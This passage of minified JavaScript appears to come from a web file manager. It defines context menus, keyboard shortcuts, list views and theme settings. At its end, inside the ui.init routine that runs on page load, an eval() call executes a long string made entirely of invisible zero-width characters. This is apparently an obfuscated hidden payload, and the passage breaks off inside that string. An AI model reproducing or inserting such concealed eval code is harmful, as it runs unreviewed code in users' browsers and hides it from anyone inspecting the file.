ome",icon:"location-arrow",accesskey:"l"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"}}})},N=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},C=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip":ui.path.zip();break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:}},S=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){A(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){A(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){A(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},z=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){A(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'',className:"info",icon:"info",accesskey:"i"}}})},P=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){A(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},E=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){A(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},D=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){A(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},F=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,i){var t=i.$trigger;t.hasClass("file")?T(e):A(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){A(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},A=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,i,t){e&&(rightMenu.hidden(),$(e).contextMenu({x:i,y:t}))},menuShow:function(){var e="hidden",i=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=i.length&&0!=t.length){if(i.find(".disable").addClass("disabled"),t.hasClass("menufile")){var a=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==a?i.find(".unzip").removeClass(e):i.find(".unzip").addClass(e),inArray(core.filetype.image,a)?i.find(".setBackground").removeClass(e):i.find(".setBackground").addClass(e),"oexe"==a?i.find(".app_edit").removeClass(e):i.find(".app_edit").addClass(e),inArray(core.filetype.image,a)||inArray(core.filetype.music,a)||inArray(core.filetype.movie,a)||inArray(core.filetype.bindary,a)?i.find(".open_text").addClass(e):i.find(".open_text").removeClass(e)}if(t.hasClass("menufolder")||t.hasClass("menufile")||t.hasClass("menuTreeFolder")||t.hasClass("menuTreeFile")){var n="disabled",o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip,.search,.more_action";t.hasClass("file_not_readable")?i.find(s).addClass(n):i.find(s).removeClass(n),t.hasClass("file_not_writeable")?i.find(o).addClass(n):i.find(o).removeClass(n)}if(t.hasClass("dialog_menu")){var r=t.attr("id"),l=$.dialog.list[r];l.has_frame()?(i.find(".open_window").removeClass(e),i.find(".refresh").removeClass(e),i.find(".qrcode").removeClass(e)):(i.find(".open_window").addClass(e),i.find(".refresh").addClass(e),i.find(".qrcode").addClass(e))}if(t.hasClass("menuMore")){var c=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(c+=1)}),0==c?i.find(".playmedia").addClass(e):i.find(".playmedia").removeClass(e)}}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var i=$(".frame-right-main .tools").outerHeight();"list"==e&&(i+=26),$(".frame-header").is(":visible")&&(i+=$(".frame-header").outerHeight()),$(".bodymain").css("top",i)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,i){0!=e&&(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")),0!=i&&(G.user_config.list_sort_order=i,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+i).addClass("selected")),LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",i),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+i})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var i=LNG.config_save_error_file;core.authCheck("setting:set")||(i=LNG.config_save_error_auth),Tips.tips(i,!1)}}})})},bindEventMenu=function(){$(".drop-menu-action li").bind("click",function(){if(!$(this).hasClass("disabled")){var e=$(this).attr("id");switch(e){case"open":ui.path.open();break;case"copy":ui.path.copy();break;case"rname":ui.path.rname();break;case"cute":ui.path.cute();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"past":ui.path.past();break;case"remove":ui.path.remove();break;case"zip":ui.path.zip();break;case"share":ui.path.share();break;case"createLink":ui.path.createLink();break;case"add_to_fav":ui.path.fav();break;case"download":ui.path.download();break;case"info":ui.path.info();break;default:}}}),$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),i=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/i)},getPagefileNumber=function(){var e=getRowfileNumber(),i=$(Config.BodyContent).outerHeight(),t=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(i/t)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,i=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/i)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,i=0,t="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==i?(i=timeFloat(),t=o,e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a),void 0):o==t.substr(-1)?(ui.path.setSelectByChar(t),i=0,void 0):(a>timeFloat()-i&&(i=timeFloat(),t+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["backspace","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","ctrl+s","command+s"],function(e,i){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;switch(stopPP(e),i){case"backspace":ui.path.history.back();break;case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(i);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"del":ui.path.remove();break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var i=$("#PV_Items li.current img").attr("src"),t="image&path=",a=i.substr(i.search(t)+t.length),n=$('[src="'+i+'"],[data-original="'+i+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var t=function(e){var i="&picture=",t=e.search(i);return-1===t?e+i+UUID():e.substr(0,t)+i+UUID()},a=t(i),o=t($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o) -}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,i=20,t=parseInt($(".file").css("height")),a=.8*t,n=20,o=10,s=$(document).height()-50,r=Math.floor((s-e)/(t+n)),l=0,c=0,d=0,p=0;$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=i+(a+o)*c,p=e+(t+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(i){i.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(i){i.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,i){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof i&&i()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌